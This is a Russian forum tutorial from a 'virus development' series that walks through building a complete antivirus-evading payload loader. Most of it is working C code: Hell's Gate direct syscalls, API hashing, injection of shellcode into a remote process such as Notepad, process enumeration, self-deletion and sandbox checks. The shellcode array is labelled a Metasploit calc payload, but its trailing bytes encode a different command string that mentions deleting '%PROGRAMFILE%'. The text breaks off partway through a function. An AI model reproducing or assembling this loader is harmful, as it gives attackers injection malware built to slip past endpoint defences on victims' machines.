Уроки Разработка вирусов-34.Обход Windows defender


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 212
1696762195469.png


Введение

До сих пор было продемонстрировано множество методов и техник создания и выполнения загрузчика payload, который может обходить различные программы защиты от вредоносного кода. Эта статья будет работать над созданием полнофункционального загрузчика payload с нуля, чтобы укрепить знания, полученные в предыдущих разделах.

Создайте пустой проект Visual Studio и следуйте за этим разделом.

Характеристики загрузчика payload

Реализованный загрузчик payload будет иметь следующие характеристики:

- Поддержка удаленного внедрения кода
- Инжекция с использованием прямых системных вызовов через Hell's Gate
- Хеширование API
- Функции против анализа
- Шифрование payload RC4
- Попытка взлома ключа шифрования (Брут ключа шифрования)
- Отсутствие импорта библиотек CRT

Настройка Hell's Gate

Этот загрузчик использует внедрение payload с использованием прямых системных вызовов, полученных с помощью Hell's Gate.
Для начала необходимо создать файлы Structs.h, HellsGate.c и HellAsm.asm.

В этих файлах содержатся необходимые функции для выполнения прямых системных вызовов. Файл Structs.h используется для сохранения недокументированных структур Windows и включается в последующие файлы C. В нем содержатся определения структур, таких как PEB, TEB и другие, необходимых для реализации Hell's Gate.

Файл HellAsm.asm Что касается HellsGate.c, в нем будут следующие функции.

HellsGate.c

C:
#include <Windows.h>
#include "Structs.h"

PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
    return (PTEB)__readgsqword(0x30);
#else
    return (PTEB)__readfsdword(0x16);
#endif
}

BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
    // Получить заголовок DOS
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
    if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        return FALSE;
    }

    // Получить заголовки NT
    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
    if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return FALSE;
    }

    // Получить EAT
    *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
    return TRUE;
}

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

    for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

        if (djb2(pczFunctionName) == pVxTableEntry->uHash) {
            pVxTableEntry->pAddress = pFunctionAddress;

            // Быстрое и грязное исправление, если функция была перехвачена
            WORD cw = 0;
            while (TRUE) {
                // Проверить, является ли это системным вызовом, в этом случае мы слишком далеко
                if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
                    return FALSE;

                // Проверить, является ли это возвратом, в этом случае, возможно, мы тоже слишком далеко
                if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
                    return FALSE;

                // Первые байты должны быть:
                //    MOV R10, RCX
                //    MOV RCX, <syscall>
                if (*((PBYTE)pFunctionAddress + cw) == 0x4c
                    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
                    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
                    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
                    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
                    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
                    BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
                    BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
                    pVxTableEntry->wSystemCall = (high << 8) | low;
                    break;
                }

                cw++;
            };
        }
    }

    if (pVxTableEntry->wSystemCall != NULL)
        return TRUE;
    else
        return FALSE;
}

Код выше не имеет определения структуры VX_TABLE_ENTRY или функции djb2. Для решения этой проблемы будут созданы два новых файла: WinApi.c и Common.h.

WinApi.c - Этот файл используется для хранения функций замены библиотеки CRT и функций хеширования строк, используемых в Hell's Gate и реализации хеширования API.

Common.h - Этот файл предоставляет общие прототипы функций для возможности вызова функции из другого файла, а также пользовательские определения структур, значения хешей системных вызовов и WinAPI.

Функция хеширования строк djb2 заменяется следующими функциями HashStringJenkinsOneAtATime32BitA/W, изменяя таким образом исходный алгоритм хеширования строк, используемый в Hell's Gate.

WinApi.c

C:
#include <Windows.h>
#include "Structs.h"
#include "Common.h"

UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
    SIZE_T Index = 0;
    UINT32 Hash = 0;
    SIZE_T Length = lstrlenA(String);

    while (Index != Length)
    {
        Hash += String[Index++];
        Hash += Hash << INITIAL_SEED;
        Hash ^= Hash >> 6;
    }

    Hash += Hash << 3;
    Hash ^= Hash >> 11;
    Hash += Hash << 15;

    return Hash;
}

UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
    SIZE_T Index = 0;
    UINT32 Hash = 0;
    SIZE_T Length = lstrlenW(String);

    while (Index != Length)
    {
        Hash += String[Index++];
        Hash += Hash << INITIAL_SEED;
        Hash ^= Hash >> 6;
    }

    Hash += Hash << 3;
    Hash ^= Hash >> 11;
    Hash += Hash << 15;

    return Hash;
}

Common.h

C:
#pragma once
#include <Windows.h>

// Начальное значение для функции хеширования HashStringJenkinsOneAtATime32BitA/W в 'WinApi.c'
#define INITIAL_SEED    8

UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String);
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String);

#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))

// Это прототипы функций - функции определены в 'HellsGate.c'
PTEB RtlGetThreadEnvironmentBlock();
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory);
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry);

// Это прототипы функций - функции определены в 'HellAsm.asm'
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();

Определите структуру VX_TABLE_ENTRY в файле Common.h, а затем обновите файл HellsGate.c, чтобы включить ее и использовать HASHA вместо djb2 в качестве функции хеширования.

VX_TABLE_ENTRY
Код:
typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;
    UINT32  uHash;
    WORD    wSystemCall;
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;

Вычисление хешей системных вызовов

Для вычисления значений хешей системных вызовов и вывода их на консоль необходимо создать новый проект. Проект Hasher будет содержать один файл на C, который показан ниже.

Hasher.c

C:
#include <Windows.h>
#include <stdio.h>

#define STR "_JOAA"
#define INITIAL_SEED 8

UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
{
    SIZE_T Index = 0;
    UINT32 Hash = 0;
    SIZE_T Length = lstrlenA(String);

    while (Index != Length)
    {
        Hash += String[Index++];
        Hash += Hash << INITIAL_SEED;
        Hash ^= Hash >> 6;
    }

    Hash += Hash << 3;
    Hash ^= Hash >> 11;
    Hash += Hash << 15;

    return Hash;
}

UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
    SIZE_T Index = 0;
    UINT32 Hash = 0;
    SIZE_T Length = lstrlenW(String);

    while (Index != Length)
    {
        Hash += String[Index++];
        Hash += Hash << INITIAL_SEED;
        Hash ^= Hash >> 6;
    }

    Hash += Hash << 3;
    Hash ^= Hash >> 11;
    Hash += Hash << 15;

    return Hash;
}

int main() {

    printf("#define %s%s \t0x%0.8X \n", "NtCreateSection", STR, HashStringJenkinsOneAtATime32BitA("NtCreateSection"));
    printf("#define %s%s \t0x%0.8X \n", "NtMapViewOfSection", STR, HashStringJenkinsOneAtATime32BitA("NtMapViewOfSection"));
    printf("#define %s%s \t0x%0.8X \n", "NtUnmapViewOfSection", STR, HashStringJenkinsOneAtATime32BitA("NtUnmapViewOfSection"));
    printf("#define %s%s \t0x%0.8X \n", "NtClose", STR, HashStringJenkinsOneAtATime32BitA("NtClose"));
    printf("#define %s%s \t0x%0.8X \n", "NtCreateThreadEx", STR, HashStringJenkinsOneAtATime32BitA("NtCreateThreadEx"));
    printf("#define %s%s \t0x%0.8X \n", "NtWaitForSingleObject", STR, HashStringJenkinsOneAtATime32BitA("NtWaitForSingleObject"));

    return 0;
}

Результаты Hasher

После компиляции и запуска программа сгенерирует следующие результаты, которые следует скопировать в файл Common.h.

1696762706019.png


Дополнительно, определение структуры новой структуры VX_TABLE должно быть обновлено, чтобы включить системные вызовы, которые будут использоваться.

C:
typedef struct _VX_TABLE {

    VX_TABLE_ENTRY NtCreateSection;
    VX_TABLE_ENTRY NtMapViewOfSection;
    VX_TABLE_ENTRY NtUnmapViewOfSection;
    VX_TABLE_ENTRY NtClose;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;

} VX_TABLE, * PVX_TABLE;

Внедрение Payload через Hell's Gate

После успешной настройки Hell's Gate можно приступить к внедрению Payload. Создается новый файл Inject.c, который представлен ниже.

Следующие пункты кратко объясняют файл Inject.c:
  1. InitializeSyscalls - Эта функция инициализирует глобальную переменную g_Sys типа VX_TABLE, которая будет использоваться позже.
  2. RemoteMappingInjectionViaSyscalls - Эта функция поддерживает как локальное, так и удаленное инъекцию через параметр bLocal, который устанавливается в TRUE для локальной инъекции и в FALSE для удаленной инъекции.
  3. Если параметр bLocal установлен в TRUE, переменная dwLocalFlag будет установлена в PAGE_EXECUTE_READWRITE, чтобы быть подходящей для локального выполнения Payload, и второй вызов NtMapViewOfSection будет избегаться. Но если bLocal установлен в FALSE, dwLocalFlag останется PAGE_READWRITE, и функция выполнит второй вызов NtMapViewOfSection для выделения памяти удаленно.
  4. Переменная pExecAddress используется для сохранения базового адреса внедренного Payload. Она равна базовому адресу локально внедренного Payload (pLocalAddress), если функция настроена на выполнение Payload локально, или базовому адресу удаленно внедренного Payload (pRemoteAddress), если функция настроена на выполнение Payload удаленно.
  5. Переменная pExecAddress затем передается в системный вызов NtCreateThreadEx для выполнения Payload в нужный момент времени.
C:
#include <Windows.h>
#include <stdio.h>
#include "Structs.h"
#include "Common.h"

// Глобальная структура VX_TABLE
VX_TABLE g_Sys = { 0 };

BOOL InitializeSyscalls() {

    // Получить PEB
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
    if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
        return FALSE;

    // Получить модуль NTDLL
    PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);

    // Получить EAT NTDLL
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
    if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
        return FALSE;

    g_Sys.NtCreateSection.uHash = NtCreateSection_JOAA;
    g_Sys.NtMapViewOfSection.uHash = NtMapViewOfSection_JOAA;
    g_Sys.NtUnmapViewOfSection.uHash = NtUnmapViewOfSection_JOAA;
    g_Sys.NtClose.uHash = NtClose_JOAA;
    g_Sys.NtCreateThreadEx.uHash = NtCreateThreadEx_JOAA;
    g_Sys.NtWaitForSingleObject.uHash = NtWaitForSingleObject_JOAA;

    // Инициализировать системные вызовы
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateSection))
        return FALSE;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtMapViewOfSection))
        return FALSE;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtUnmapViewOfSection))
        return FALSE;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtClose))
        return FALSE;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateThreadEx))
        return FALSE;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtWaitForSingleObject))
        return FALSE;

    return TRUE;
}

BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize, IN BOOL bLocal) {

        HANDLE          hSection          = NULL;
        HANDLE          hThread           = NULL;
        PVOID           pLocalAddress     = NULL,
                        pRemoteAddress    = NULL,
                        pExecAddress      = NULL;
        NTSTATUS        STATUS            = NULL;
        SIZE_T          sViewSize         = NULL;
        LARGE_INTEGER   MaximumSize       = {
              .HighPart = 0,
              .LowPart = sPayloadSize
        };

        DWORD           dwLocalFlag       = PAGE_READWRITE;

    //--------------------------------------------------------------------------
    // Выделение локальной карты
    HellsGate(g_Sys.NtCreateSection.wSystemCall);
    if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection не удалось с ошибкой : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    if (bLocal) {
        dwLocalFlag = PAGE_EXECUTE_READWRITE;
    }

    HellsGate(g_Sys.NtMapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, dwLocalFlag)) != 0) {
        printf("[!] NtMapViewOfSection [L] не удалось с ошибкой : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Локальная память выделена по адресу: 0x%p размером : %d \n", pLocalAddress, sViewSize);

    //--------------------------------------------------------------------------
    // Запись Payload
    printf("[#] Нажмите <Enter>, чтобы записать Payload ... ");
    getchar();
    memcpy(pLocalAddress, pPayload, sPayloadSize);
    printf("\t[+] Payload скопирован с 0x%p по 0x%p \n", pPayload, pLocalAddress);

    //--------------------------------------------------------------------------
        // Выделение удаленной карты
        if (!bLocal) {

          HellsGate(g_Sys.NtMapViewOfSection.wSystemCall);
          if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
            printf("[!] NtMapViewOfSection [R] не удалось с ошибкой : 0x%0.8X \n", STATUS);
            return FALSE;
          }

          printf("[+] Удаленная память выделена по адресу: 0x%p размером : %d \n", pRemoteAddress, sViewSize);

        }

    //--------------------------------------------------------------------------
    // Выполнение Payload через создание потока
    pExecAddress = pRemoteAddress;
    if (bLocal) {
        pExecAddress = pLocalAddress;
    }
    printf("[#] Нажмите <Enter>, чтобы выполнить Payload ... ");
    getchar();
    printf("\t[i] Запуск потока с начальным адресом 0x%p ... ", pExecAddress);
    HellsGate(g_Sys.NtCreateThreadEx.wSystemCall);
    if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pExecAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx не удалось с ошибкой : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Готово \n");
    printf("\t[+] Создан поток с идентификатором : %d \n", GetThreadId(hThread));

    //--------------------------------------------------------------------------
    // Ожидание завершения потока
    HellsGate(g_Sys.NtWaitForSingleObject.wSystemCall);
    if ((STATUS = HellDescent(hThread, FALSE, NULL)) != 0) {
        printf("[!] NtWaitForSingleObject не удалось с ошибкой : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Отмена отображения локального вида
    HellsGate(g_Sys.NtUnmapViewOfSection.wSystemCall);
    if ((STATUS = HellDescent((HANDLE)-1, pLocalAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection не удалось с ошибкой : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора раздела
    HellsGate(g_Sys.NtClose.wSystemCall);
    if ((STATUS = HellDescent(hSection)) != 0) {
        printf("[!] NtClose не удалось с ошибкой : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

Перечисление процессов

Для создания полного модуля внедрения в процесс необходимо использовать системный вызов NtQuerySystemInformation для получения дескриптора целевого процесса, как описано в модуле Process Enumeration - NtQuerySystemInformation.

Использование нового системного вызова потребует обновления структуры VX_TABLE, чтобы включить еще один элемент, VX_TABLE_ENTRY.
NtQuerySystemInformation, который будет инициализирован функцией InitializeSyscalls. Кроме того, используйте программу Hasher для вычисления хеш-значения для строки "NtQuerySystemInformation".

C:
BOOL GetRemoteProcessHandle(IN LPCWSTR szProcName, IN DWORD* pdwPid, IN HANDLE* phProcess) {

    ULONG                        uReturnLen1         = NULL,
                                uReturnLen2         = NULL;
    PSYSTEM_PROCESS_INFORMATION  SystemProcInfo     = NULL;
    PVOID                        pValueToFree     = NULL;
    NTSTATUS                    STATUS             = NULL;

    // Это неудача со статусом = STATUS_INFO_LENGTH_MISMATCH, но это нормально, потому что нам нужно узнать, сколько нужно выделить (uReturnLen1)
    HellsGate(g_Sys.NtQuerySystemInformation.wSystemCall);
    HellDescent(SystemProcessInformation, NULL, NULL, &uReturnLen1);

    // Выделение достаточного буфера для возвращаемого массива структур SYSTEM_PROCESS_INFORMATION
    SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
    if (SystemProcInfo == NULL) {
        return FALSE;
    }

    // Поскольку мы будем изменять 'SystemProcInfo', мы сохраняем его начальное значение перед циклом while, чтобы позже освободить его
    pValueToFree = SystemProcInfo;

    // Вызов NtQuerySystemInformation с правильными аргументами, вывод будет сохранен в 'SystemProcInfo'
    HellsGate(g_Sys.NtQuerySystemInformation.wSystemCall);
    STATUS = HellDescent(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
    if (STATUS != 0x0) {
        printf("[!] NtQuerySystemInformation не удалось с ошибкой : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    while (TRUE) {

        // Проверка размера имени процесса
        // Сравнение имени процесса с целью
        if (SystemProcInfo->ImageName.Length && HASHW(SystemProcInfo->ImageName.Buffer) == HASHW(szProcName)) {
            // Открытие дескриптора целевого процесса и сохранение его, затем выход
            *pdwPid = (DWORD)SystemProcInfo->UniqueProcessId;
            *phProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)SystemProcInfo->UniqueProcessId);
            break;
        }

        // Если NextEntryOffset равен 0, мы достигли конца массива
        if (!SystemProcInfo->NextEntryOffset)
            break;

        // Переход к следующему элементу в массиве
        SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
    }

    // Освобождение памяти, используя начальный адрес
    HeapFree(GetProcessHeap(), 0, pValueToFree);

    // Проверка, получен ли дескриптор целевого процесса
    if (*pdwPid == NULL || *phProcess == NULL)
        return FALSE;
    else
        return TRUE;
}

Основная функция

Для тестирования кода создайте main.c, который будет содержать точку входа загрузчика, а также обычную полезную нагрузку Msfvenom calc.

Объяснение что делается в основной функции:

Функция InitializeSyscalls - это первая вызываемая функция.
Все остальные функции зависят от нее для инициализации структуры системных вызовов.
Если TARGET_PROCESS определен, вызывается функция GetRemoteProcessHandle для получения дескриптора целевого процесса и передачи его вывода в RemoteMappingInjectionViaSyscalls. Если TARGET_PROCESS не определен, код непосредственно вызывает RemoteMappingInjectionViaSyscalls с псевдо-значением для дескриптора локального процесса (1), указывая внедрить полезную нагрузку локально.

C:
#include <Windows.h>#include <stdio.h>
#include "Structs.h"
#include "Common.h"// комментарий для внедрения в локальный процесс
//
#define TARGET_PROCESS    L"Notepad.exe"// x64 calc metasploit
unsigned char Payload [] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x20, 0x2F, 0x69, 0x20, 0x2F,
    0x74, 0x31, 0x20, 0x2F, 0x64, 0x65, 0x6C, 0x20, 0x22, 0x25, 0x50, 0x52,
    0x4F, 0x47, 0x52, 0x41, 0x4D, 0x46, 0x49, 0x4C, 0x45, 0x25, 0x22, 0x00,
    0x00
};
// Вторичный поток
DWORD WINAPI MainThread(LPVOID lpParam) {
    UNREFERENCED_PARAMETER(lpParam);

    printf("\n\n[~] Запущено \n");

    // Инициализация системных вызовов
    if (!InitializeSyscalls()) {
        printf("[!] Не удалось инициализировать системные вызовы \n");
        return FALSE;
    }

    // Получение дескриптора целевого процесса
    HANDLE hProcess = NULL;
    DWORD dwPid = NULL;
    if (TARGET_PROCESS) {
        if (!GetRemoteProcessHandle(TARGET_PROCESS, &dwPid, &hProcess)) {
            printf("[!] Не удалось получить дескриптор целевого процесса \n");
            return FALSE;
        }
        printf("[+] Дескриптор целевого процесса получен : %d \n", dwPid);
    }
    else {
        hProcess = (HANDLE)1; // Псевдо-дескриптор для локальной инъекции
    }

    // Выполнение внедрения
    if (!RemoteMappingInjectionViaSyscalls(hProcess, Payload, sizeof(Payload), !TARGET_PROCESS)) {
        printf("[!] Внедрение Payload не удалось \n");
        return FALSE;
    }

    printf("[+] Выполнено \n");

    // Ожидание завершения
    if (TARGET_PROCESS) {
        WaitForSingleObject(hProcess, INFINITE);
    }

    return TRUE;
}
int main() {
    HANDLE hThread = CreateThread(NULL, 0, MainThread, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("[!] Не удалось создать поток \n");
        return 1;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return 0;
}

Результаты:

Удаленная инъекция

1696765986451.png



Локальная инъекция

1696766072671.png


Функции антианализа


Для добавления функций антианализа создайте новый файл с именем AntiAnalysis.c. Этот файл будет содержать следующую функциональность:
  1. Функция самоудаления.
  2. Функция мониторинга щелчков мыши.
  3. Функция задержки выполнения с использованием NtDelayExecution.
AntiAnalysis.c

C:
#include <Windows.h>
#include <stdio.h>
#include "Structs.h"
#include "Common.h"

// Глобальные переменные для хука
HHOOK g_hMouseHook = NULL;
DWORD g_dwMouseClicks = NULL;

// Callback-функция, которая будет выполняться при каждом клике мыши
LRESULT CALLBACK HookEvent(int nCode, WPARAM wParam, LPARAM lParam) {

    if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN) {
        printf("[+] Запись клика мыши\n");
        g_dwMouseClicks++;
    }

    return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}

BOOL MouseClicksLogger() {

    MSG Msg = { 0 };

    // Установка хука
    g_hMouseHook = SetWindowsHookExW(
        WH_MOUSE_LL,
        (HOOKPROC)HookEvent,
        NULL,
        NULL
    );
    if (!g_hMouseHook) {
        printf("[!] SetWindowsHookExW не удалось с ошибкой: %d\n", GetLastError());
    }

    // Обработка необработанных событий
    while (GetMessageW(&Msg, NULL, NULL, NULL)) {
        DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
    }

    return TRUE;
}

BOOL DeleteSelf() {

    WCHAR szPath[MAX_PATH * 2] = { 0 };
    FILE_DISPOSITION_INFO Delete = { 0 };
    HANDLE hFile = INVALID_HANDLE_VALUE;
    PFILE_RENAME_INFO pRename = NULL;
    const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
    SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);

    // Выделение достаточного буфера для структуры 'FILE_RENAME_INFO'
    pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
    if (!pRename) {
        printf("[!] HeapAlloc не удалось с ошибкой: %d\n", GetLastError());
        return FALSE;
    }

    // Очистка структур
    ZeroMemory(szPath, sizeof(szPath));
    ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));

    // Маркировка файла для удаления (используется во втором вызове SetFileInformationByHandle)
    Delete.DeleteFile = TRUE;

    // Установка имени нового потока данных и его размера в структуре 'FILE_RENAME_INFO'
    pRename->FileNameLength = sizeof(NewStream);
    RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));

    // Получение имени текущего файла
    if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
        printf("[!] GetModuleFileNameW не удалось с ошибкой: %d\n", GetLastError());
        return FALSE;
    }

    // Открытие дескриптора текущего файла
    hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileW [R] не удалось с ошибкой: %d\n", GetLastError());
        return FALSE;
    }

    wprintf(L"[i] Переименование :$DATA в %s  ...", NEW_STREAM);

    // Переименование потока данных
    if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
        printf("[!] SetFileInformationByHandle [R] не удалось с ошибкой: %d\n", GetLastError());
        return FALSE;
    }
    wprintf(L"[+] ГОТОВО\n");

    CloseHandle(hFile);

    // Открытие нового дескриптора текущего файла
    hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
    if (hFile == INVALID_HANDLE_VALUE && GetLastError() == ERROR_FILE_NOT_FOUND) {
        // Если файл уже удален
        return TRUE;
    }
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileW [D] не удалось с ошибкой: %d\n", GetLastError());
        return FALSE;
    }

    wprintf(L"[i] УДАЛЕНИЕ ...");

    // Маркировка для удаления после закрытия дескриптора файла
    if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
        printf("[!] SetFileInformationByHandle [D] не удалось с ошибкой: %d\n", GetLastError());
        return FALSE;
    }
    wprintf(L"[+] ГОТОВО\n");

    CloseHandle(hFile);

    // Освобождение выделенного буфера
    HeapFree(GetProcessHeap(), 0, pRename);

    return TRUE;
}

typedef NTSTATUS(NTAPI* fnNtDelayExecution)(
    BOOLEAN Alertable,
    PLARGE_INTEGER DelayInterval
    );

BOOL DelayExecutionVia_NtDE(FLOAT ftMinutes) {

